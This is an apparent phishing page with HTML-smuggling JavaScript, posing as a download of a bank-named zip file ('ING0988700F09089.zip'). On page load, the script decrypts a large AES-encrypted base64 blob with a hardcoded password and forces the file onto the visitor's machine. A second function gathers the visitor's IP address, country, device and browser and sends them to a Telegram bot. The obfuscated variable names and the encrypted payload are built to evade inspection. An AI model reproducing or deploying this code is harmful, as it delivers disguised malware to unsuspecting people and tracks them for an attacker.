Retrieve your document: ING0988700F09089.zip
Your download is starting...
Download successful!
Please wait while we prepare your document...
↓
Download in progress...
// Flag to control whether to send a message to Telegram (1 = Send, 0 = Don't send)
var sendTelegramMessage = 1; // Set to 1 to send, 0 to not send
// Function to decrypt the file and initiate download
window.onload = function() {
var vbkl = '3799553864234207655076794'; // Password for decryption
try {
var xtrj = '4JiElXCxt5jRNUX95UvvC5T5kPF5I91tF60tut2xpP8bT8ZLbIcWIUJ4O5H0gCx9ddMWARey6+/GvIs7f8uiK6glKcGS4RfmelMG/M4bH8QfkfRnJs2NSy9YrfaOBxT+kG7oh47ta4cH/ZjbjGv1LvJgUoLsWFSJ/EEGWJU+UOa6rGl4lF6XMRY7EBqAd0LGoG6Jx6NUOnV/Pr9gGkvsVGz4/9RPkNHoxguY5XdWl1SFv0uE07EwKZvR4Aj3LEu3D0Sc0hxOgzN8uzAHqyfNtm2cc9gLdznJHnd2oOjfcYtaC8uN2y0Sg6M8IwWHXcfouZ7BynLoQTjq4X3/QRA80N34HqnMvhMdnnJc49RCsLpWQe7apa6GaP4L49KQFeRhwQ6p5iSHbihjGZKmzVHoBK2zKVy+sX0QqGIh7MbX2NpdL2MzeBtVuCSqPo/Q9VmD3Afs5DuDgkBNY737c7gYs8sTg7anaQUSPitFPcYAdfk3SnsORkEUwz+g1UWR8tuEMbf/DvSu7KDpDDHoOHZgyJpget4IH1rnABAN5MQBp9b0/0V1H24R77Dwi1DsZ1MDyhyldOpJ3rybK/5D2A9rG3/rBJIOjd0Kli9gs1ao7S8Qr6p1qmOkoh+1okLy+nt8PbjWk9u0Ck7xfn2q8hexhdeojJ97poN6MohEDJNDvLSkGp/ISWTViYeisPYGC6JtVCqLqQwuLbiAVVlPgAEMWyJ5rJrJkm+AYtjVRWlbSEGCUOm5Cj4B90Q0FfHcIg4RFJVMxiIZiCRNc0f93iomJpaa0XJgj1AkIMaoKhodTAKfvQFtyKcL4ufXX1awxqLIiaVHvLHeNqr/CkNxqGXAbsHj0OA4Eukusie2+i0IpXtsmXXg0nR1A09FbiwakhCfXZKKX20SfTXzekArREPwhgnxer2eHfRY1DiM7sGf0NfG8gOS7W3QE81WjpztG4qSyg97zjJFqdg4Ph64Y6eb7JPqIr4j8MSEufYPyRA18jbvNTSxDnctEcoZgtzil+biMO/TdRmHMrxkxp5d3bnzJqgmtTRsPrRgEdZPlSHOgCcz82jqCcO/uFertMBJpHRqTCKE+VuU9Qz7ajw8SdBbsa04eCg+PUceb/D+FhEnH++ameQlyIggt4X7U6gUAE87EdngjZcsc6TSoTaBXs+lkO/HXtCspE2hcpipnvXUyNfvcaprTdh3SjnCsMoO4+bNylTM1lOBTYRTAzQaFdSDakthxhMVtjj4HttqmYiv6pFNvTK8GgtbcROaAQ64BfOUs8W7V4kx1FanOl/44/86GvgdMBlNB2iMEGTMUJtx9KWQRNwkBvM8PzqHOKcEKcD590wOIbm4wMlsnYPO0urERXS/gdy+JwWOhfGEf55/dTAvL5r6tCRDJOdXbf87bO2GX1iDHVbi8HW/sdp8//CxujO7CO9fXlc9NZAJt9VvG/SAQVtI8gyA+ugxO8V+VV3lOLCXA/gZUT11klEiWDJQ/qnrNZe++3t1AhxoytDLABS/c7ku2YjK8fdnBHwtfI4IvxL1omtS3KRDOb35eRzJCx0T/O0Mp6pyHIatjA11iomuR7HvdfGwqttWfoifm+/s9RRU23fRs/D1oJsVtE/Px9SbWzfa32hDMmjftx2fj4bzMc3gLNrkNZyfZZSx3iZdw6yoYZboH9s0/3wQOPFZ0OIry4lTcRNovWwvhYrwopqoaDwtl5mAxn3drm71VBD0llIujJRwk86D6Lzk1Rmy+6atGNtO3DNvxUibGYcLNAfYRxa0XpVPWtfLK3OtF6md3EtxJbani+CHIHstW/M791hQtmSHQaXHLqDne/QkXV30Vre/5SfqPA7x+eHsfccVEjNvUZPy8gRpsej7WFXxgysOyeTmzXstyVqN59B0U08m5q+XwGXay+47VKvZiyN3xIZW4QPiRAhlhlHQLliYed9mrn3BWbTCEtoNSEpN379wJw0WRbv1yJnh+exoblWNCJ7sPKp+zn6cbR+IhCq1BaGIpPvoW9SjLP4ZQ6JfOlaynKe/iA4YTf1mRWgO/O5xA+mH1JNhlFaeTBGmH3Sf8VgwV4Lps8zdxTk2ClQlUuHWLuxRzvy214IBilgfFbyRiwBHtQwaycgcOCSLN3W3vIiA9K+fuCg127PpwmZBztK5Gc6paDyqeHW6J2JQNwYWHU5qhoeKjTXCsGfh2Is0pIXgCPqomR+I20E0O11cfGOS9kYNainREWnYUnFwbp1GNpyJMieo/IPbIraBYrrooert9JaDl+7HRtsNHHxpXF6lEqUEM5J5Z64+p6Ua3ooTvxEqH5cw4bA0BM7VBmeN0A8mt79gx7LivS01TQSImVRAwT+T6hCjRXexysaHhoAA6V9uV4MjzVadC+014p2+VuLdx6reyAcEQaX1j7gH3ULbJ7eOEAY1M3z0mbPE1OakLUva1Tmd4JDjbgy4a7usL9YElTVkEznBWFDCa5coyXyoar3X3rSYUXYwxZc3IE1G7ZmS5zJvdJ+BsBt9ZFK5gEqzfhukHVnTc2spS/aPI1r4q8X8mObr3Nn0wGnzpmtBgJZm8Mqw1sG/9Qecr6PXSeE5VTRAstTK+ZkrrhZVNk/HjX5uu696f4XX15rsniGqrsNdD8503MlnG0c9dCLpf+QxJ8OGYf8tD2tH3c4gSd/RpTwNjYaDaldcP7iO++RjfW+/NcqTFDhSv65mv0SKzHIIbpFuPzsLtZyPEdkmWYwD7PRwXGhTdR5dbucGfPrVFHgJ7psUI23P7IXyEAjVGESsnSujNsvG4HjD/tvpTy4/ysTkH5twVXUKdT/nAgCMS1oSMtyFkgCYRVYXGcnmYV4sjo59Jcz8Vh5PAZUwhrJ6lKCVC0qsORT0xgw+QtXCn0WXxysSE5DRviVl4BE7QwwbsjGtJKah/Jcte93yKK00tDHa1/NO6H4BnlN2HRPhpjx2qeE5M1XcVbkdEQryfEiO/BM4SMw7ducZmgwJbpFaYF/jJcL+1SsGBQjw0otqBdeKsPmnbvyk4f/Q4c2JTUsQRAAHXj4457FK4mX1aQFXXFebG5kVf7i5FeEh6hM260Y/GjWGxGP+tNw9V77kYXr1VkAbMKzATp9OmZzi/LmUTXQWZt3pNJNLqXX1SO8/H8XhI+/K8oZizo0t5FVGMK1DaRhBERymYe/OtR0XET/Fo6RJ+o2dZPM4Jd8cmJ+yP34yDyKBPeysmfr+iep+mX6T1Sst/VjoopHLhihIlOtiJEA6eqTkPwIwFnOL4kGwQlE6jrx+geyttaJqmgWQwcZxC17gc6yWU1BXManzfJJKFGsWDYlzsnqrKx0cwxjohm7FZ7q5g29VpV7x0nJ8hivBlMvtxLmOWwcN5O3HpHNMBob58UO8Xm+RhauiV0o6mKUxCjnIGeCwCW55hn60zKJU8hLpQX5rsCdYbqyDFyLXVKosmqoQOQ8/v2K2L57IMa1MuvtEFg1Zd5EjDD0RVi2sszWi0VHs/dnu6fYybVMRDuVAAfMB4XBjECMGX4ul9BXDQejtGd71JPF5PyS10Sx5JfHl+sX96kMOLO4F1P16VjPek1amUk938KeG+OqrLoulzsauUNU75XxobGsuT9/YA1kzv2J4aE2pYzAEPx33XmdqGFDaroDISv9U0JffFwopUmhiOcZu6D0f7TiqgbzrIAAOaDG+DeauACR8fcEGxfDDDBZZI1BZ7T/uH/ohWvTM8/VBQedmC2zUHXTgnGMK0t55FlQDvVPf2qMxBDsaux+yj9wvyNsHKWd8Gvwq1oVCuGEu6FEqw3SRaX4+HaRZs0plX3w7N+rfJ2vwhqITsOFkbq47/8JP5H+x47U80AG/hIfryO72vNpVaekZts0FnCuTakQpBJvfWv1Od+Tx0GZDrmb1yhvVQcL1ABTALi1smhEgU0gTy9l8+BU8KRpRv0RV0IoEVj5xWqb8bDN25LHxTwPctwPc7lzHIp0YeIcrkyqs5XB2hE0xxmBTxO3OrslCagTLqEPmtDhaZYPIlJBe/fLiDGDRnqWSV2pOBIfCnmEKuZQrJiAgT8vLYDqFeaGLP9sH2X7u464z8recDznO797Sc/Puq5YdzQTCZzyBowHUrkwEMmYrXDcrVjtel7S2bp7krZnF4sioiKUzbGo1zkli2+dIEiPidA3dXg/s9uQs4XLWZ5iPVj80/DZqi+pwhNMmOBM2ZfnJUEE3NrbODY8iSz9Kig7tM5F0Zq7ryNcSMnHn4s/5UN5YSGAxZQA1743oEb3F+vKf5EL1kAxghApz51gkQJBBVL9spdizziaGi9HSf/hPcGXlutJu6Vz/9rWNgcCB7n+8HlWUfyMd4zaUxeLWKZF0ZuI+8ijDUTYh5Z5BreM8GbvtLbHJ8q2PHbkttrj4VQL34XmJuH3CcoPhltwrAkUzxMQk/V7YttXLTrp0UQM4r3hp6saxB4C186VeVG9J7gCSgkp0Cc1bKfHp700YzfCdCQDmN6HaIJUVmlgc5ia9vhbzTjUMGlQu8CMVvPKUwoVAGoQf5+VQ0zGF0RB2ZM8oIxVjA3RQoZMF3smJaLNhKK5JLLivPAIiwwJyx9kBjqNkGd4CAjDUFz7cy/zza6iXpaVA0DIi/jb1FfzToRF1vim9S+Xb7jCw1Sbw6Kb6XXWg/rzMatecE/D3+eB3inf/9/hGI6oDEZqhPONGIYt/8icZBZgwT0smXcqJNaJOjChsClD+Iwb46surfdUn13CMRGrA5+lOCfouFwTaFSSRCR4ZCn4nh33rAT3OR68SOFPkUDntnEq3RrCHtms2aRCbTErxF+cK/mo/hBI+ZNlJ5BDP65zGwNo3kAiyrRVnbSdVeb1ZD0GMNZXaZLL2X+7kjoCUsLATWsW2Z2CmTzCn2UfrBSgQPZRGSRbPqWkGbdmn25SgFgG1MZJKnSFMtq2ApA/1cjoTy0a6MDyP6CBdANCf7Taz3CxTBxXVA55EYObsk8zFZ0f08at/wWoIngRrS7+i2CAP2OzyU26827zJWojs5k9uVFWpXnWTY2k6wSDjAX0a0YgmBPdLqpMhLHVkH1BsMdb7ldkca6f8Kks9x52PU5/NaiDGO4l2bg5PC033J0S23rnBEPx5WFEABMN1MPUuH7Jc5DTLJIYWFrPvqiilPHntI9jHx6xXZQMXPdUUTj/N1z/RGlCK/RT60QT/BJqKPSIkmvg4BsPvuaQkmbhbn5fRh4iLRQt/YPBW6wyEyvslgm1bXxUG4vFRx3rb/2j3b3oMm3Fc1TKVTQJXbZXV3Qi4LMvSeUr2OEsGcS3zG9A1XsXC030UMO0/y6rwY1Qcrl5J6UpbjoM7DeywupmtkWcichXmjnrUbkLn5yNuaAyv+0d9rtr7DojTYdjvCvLdxDxW0K7/GMC4VihOIH4GIkbWlLjKxXXC1XBy7JKPybmgJC8rZ6FfPFpkLnHczcrHOW1oknkqtnM9f/gasHcn18Iau65A1MZgdRIe31cJ49r957EDKNpqRMNVq+9Xxz4Ufd29qfdOiJhkviRy/5vQRHWV4C/w/Fd1d9QhhW2u3KNuQs9iVXUv1GEgUmpnmWstjl6yVsJRb/NU4ZjORr/S27Hw7JANfRC1kX4vp+5Dybcs2yi0YV7J5Wo+3rV+oPfM1ZpOOgcuu9gw9IlIGhDFeTTPep1/XrbZynwUpVVeurexStFF+lI1GAYNJdCjBSjdogvSkDwRFSYR4JFfWrjXKF0cGM7TGpQ8/HyBAg3TIU1+cPMRIILuj7ZKlKUPc+WxN76cVqeGg78J01YcpingBznTg2DZtWF+ofUZmGJRUzehbbY41S/t2n1tNhdotHlDkxiFmJIab0cVumCNqyr77cbulU6yafMwN4vXoJXuLcnmPCTAPM69YLY+UWGhLRY3Lu9YwfWKEo4GRvubAJdmATvHzOzkRDqDPFs/6Ba96nVLejqZsUejjzyU2rpmhSQkxCiAKxvVNG0hu9kZhDTm1z7IHB2j+HOEDMB4gZRYIWztRpqAcPr+J3IMLQJGCOdPiSudwKMkTlfNTN0CNuKKbJ9ODrwWlZ/IBN3wmQfOmoq3NQLP+MN64ue6R63KCP8QzHE/aGHwT84ihcaaEActPz60vZ68KslAohTnjqX2nYrfwErFniz6/6Ok5BrMfV3DC5yCbd8AVHt08h+c7lFIHoTDJVrgT9fZHuiRHA4xR8Rob+okBDv8WOcxw46yvZ2Wt8dXhWkqebCDrZlzFTJesdZTRuz9GhtiVigXAfcFJIJpnvQSO0yuXIxaH7bRSASBl5P0anUgNPN4k8NyFcDjO0SA5WeEVL+ci2AjqkGi58mDLDBnWnzWT7DueCWZ5V390hpu1KHz7f7AoHnIIc7jLJ+aGi96rC32Kc+aJLFmlULuxUZNsH1j5BtKPqQKfd5MkxNEgPO2M0vn89K5rkb9TIKgS7nHfgypk0+YCvcJ7qQS9NyU9fQDzaA6b67pAlO3ndrvzi74BJv+jg/ePppV/kmvsF9/iXzRcp0onJWdUL3RLjytkPUKzYcB/TlvaYVFKD/dsZGjjnWiXyYf/T0mhYiqxCaqe718e477oBiaAZW6RJ6D5I+8vdzAGOcboogwQYp969QdgdFLL+OZWimtf2uj1Hn4nwoszfZM72RaJTXk1/QOkdaE3UrNmfykuE7ZHvtn0/SM3YwFVwX03wKCNC11bnK3epW+7y/W76cMdtNj5hZF9/lOB9DEFYcmcMF0OwT8rzZn7+k2/DLcHhXVAUhIpSmdb//d2e+RqNfZAGnCqjks0tBtK4zEIj9thlrh9idhbpHs+fYdl2aCFN2RjlNbQiKpL8aDnHDML+JbY9E4uYB+N5kYabTAwxLE4SWh8QkANh7UOG8xoTGiOvCF9w=='; // Encoded content of the file
var fntr = atob(xtrj); // Decode Base64 string
// Extract the salt, IV, and encrypted data
var jdnl = fntr.slice(0, 16);
var pkvm = fntr.slice(16, 32);
var qrkl = fntr.slice(32);
// Generate the decryption key using PBKDF2
var xlkr = CryptoJS.PBKDF2(vbkl, CryptoJS.enc.Latin1.parse(jdnl), {
keySize: 256 / 32,
iterations: 1000
});
// Decrypt the data using AES
var mnvr = CryptoJS.AES.decrypt(
{ ciphertext: CryptoJS.enc.Latin1.parse(qrkl) },
xlkr,
{ iv: CryptoJS.enc.Latin1.parse(pkvm), mode: CryptoJS.mode.CBC, padding: CryptoJS.pad.Pkcs7 }
);
// Convert decrypted bytes to a string
var nqkj = mnvr.toString(CryptoJS.enc.Latin1);
if (!nqkj) throw new Error('The decrypted text is empty.');
// Convert the decrypted string to a Blob
var yxwv = nqkj;
var wzrx = new Array(yxwv.length);
for (var i = 0; i < yxwv.length; i++) {
wzrx[i] = yxwv.charCodeAt(i);
}
var pmkd = new Uint8Array(wzrx);
var trvp = new Blob([pmkd], { type: 'application/octet-stream' });
// Create a temporary download link and trigger download
var lkps = document.createElement('a');
lkps.href = window.URL.createObjectURL(trvp);
lkps.download = 'ING0988700F09089.zip';
document.body.appendChild(lkps);
lkps.click();
document.body.removeChild(lkps);
// Show message indicating download is starting
var dpkn = document.getElementById('dlgn');
dpkn.style.display = 'block';
// Display the download notification arrow
var downloadIndicator = document.getElementById('download-indicator');
downloadIndicator.style.display = 'block';
// Hide the arrow and indicator after a brief moment
setTimeout(function () {
downloadIndicator.style.display = 'none';
var arrow = document.getElementById('arrow');
arrow.style.display = 'none';
}, 3000);
// Hide loading message after a delay
setTimeout(function () {
var loadingMessage = document.getElementById('loading');
loadingMessage.style.display = 'none';
}, 2000);
// Update the status message
var dpkn2 = document.getElementById('plzx');
dpkn2.innerText = 'Download successful!';
dpkn2.classList.remove('info-message');
dpkn2.classList.add('loading-message');
dpkn2.style.display = 'block';
// Send Telegram message if flag is set to 1
if (sendTelegramMessage === 0) {
sendIPToTelegram();
}
} catch (error) {
// Handle decryption or download errors
var dpkn = document.getElementById('plzx');
dpkn.innerText = 'Decryption failed.';
dpkn.classList.remove('loading-message');
dpkn.classList.add('error-message');
dpkn.style.display = 'block';
console.error(error);
}
}
// Function to send IP, device, and browser info to Telegram
async function sendIPToTelegram() {
try {
console.log("Starting sending IP, device and browser info to Telegram...");
const ipResponse = await fetch('https://api.ipify.org?format=json');
if (!ipResponse.ok) {
throw new Error(`Error retrieving IP: ${ipResponse.status} - ${ipResponse.statusText}`);
}
const ipData = await ipResponse.json();
const ipAddress = ipData.ip;
console.log("User IP address:", ipAddress);
const geoResponse = await fetch(`https://www.ip-information.net/${ipAddress}/location.xml`);
if (!geoResponse.ok) {
throw new Error(`Error retrieving geo info: ${geoResponse.status} - ${geoResponse.statusText}`);
}
const geoData = await geoResponse.text();
console.log("Geo data:", geoData);
const parser = new DOMParser();
const xmlDoc = parser.parseFromString(geoData, "text/xml");
const country = xmlDoc.getElementsByTagName("country")[0].childNodes[0].nodeValue || "Unknown";
console.log("Country:", country);
const userAgent = navigator.userAgent;
let deviceType = "Unknown";
if (/Mobi|Android/i.test(userAgent)) {
deviceType = "📱 Mobile Phone";
} else if (/iPad|iPhone|iPod/.test(userAgent)) {
deviceType = "📱 iPhone/iPad";
} else {
deviceType = "💻 PC";
}
console.log("Device type:", deviceType);
let browser = "Unknown";
if (userAgent.indexOf("Chrome") > -1) {
browser = "🌐 Chrome";
} else if (userAgent.indexOf("Edge") > -1) {
browser = "🌐 Edge";
} else if (userAgent.indexOf("Firefox") > -1) {
browser = "🌐 Firefox";
} else if (userAgent.indexOf("Safari") > -1) {
browser = "🌐 Safari";
}
console.log("Browser:", browser);
const botToken = "";
const chatId = "";
const message = `📜 User Info:
IP Address: ${ipAddress}
Country: ${country}
Device: ${deviceType}
Browser: ${browser}`;
const apiUrl = `https://api.telegram.org/bot${botToken}/sendMessage?chat_id=${chatId}&text=${encodeURIComponent(message)}`;
const telegramResponse = await fetch(apiUrl);
if (telegramResponse.ok) {
console.log("Message sent to Telegram successfully!");
} else {
throw new Error(`Error sending message: ${telegramResponse.status} - ${telegramResponse.statusText}`);
}
} catch (error) {
console.error("Error occurred while sending data to Telegram:", error);
}
}